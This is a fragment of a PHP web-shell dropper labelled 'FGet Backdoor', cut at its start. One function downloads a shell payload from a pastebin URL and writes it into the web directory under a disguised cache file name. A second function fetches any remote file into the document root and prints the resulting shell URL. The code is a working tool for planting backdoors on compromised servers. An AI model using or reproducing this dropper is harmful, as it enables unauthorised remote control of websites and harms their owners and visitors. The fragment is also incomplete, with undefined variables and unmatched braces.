FGet Backdoor\n";
echo "
FGET Backdoor
";
function shellone($name) {
$filename = "cache_".md5($name).".php";
$fget=file_get_contents("https://pastebin.com/raw/ntq2g95Z");
$path=getcwd().DIRECTORY_SEPARATOR;
$fileopen=fopen("$path/$filename",'w');
$execfile=fwrite($fileopen,$fget);
$shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
if($execfile)
{
if(file_exists(getcwd()."/$filename")) {
echo "[OK!] $shellurl => 0byt3m1n1 Shell";
}
else {
echo "$path$filename
Doesn't exist!";
}
}
else {
echo "Failed get newfile $filename in $path";
}
}
function shelltwo($name, $file) {
$filename = $name;
$fget=file_get_contents($file);
$path=$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
$fileopen=fopen("$path/$filename",'w');
$execfile=fwrite($fileopen,$fget);
$shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
if($execfile)
{
if(file_exists($path."/$filename")) {
echo "[OK!] $shellurl";
}
else {
echo "$path$filename
Doesn't exist!";
}
}
else {
echo "Failed get newfile $filename in $path";
}
}
shellone($name);
echo "
";
shelltwo($name,$files);
}
?>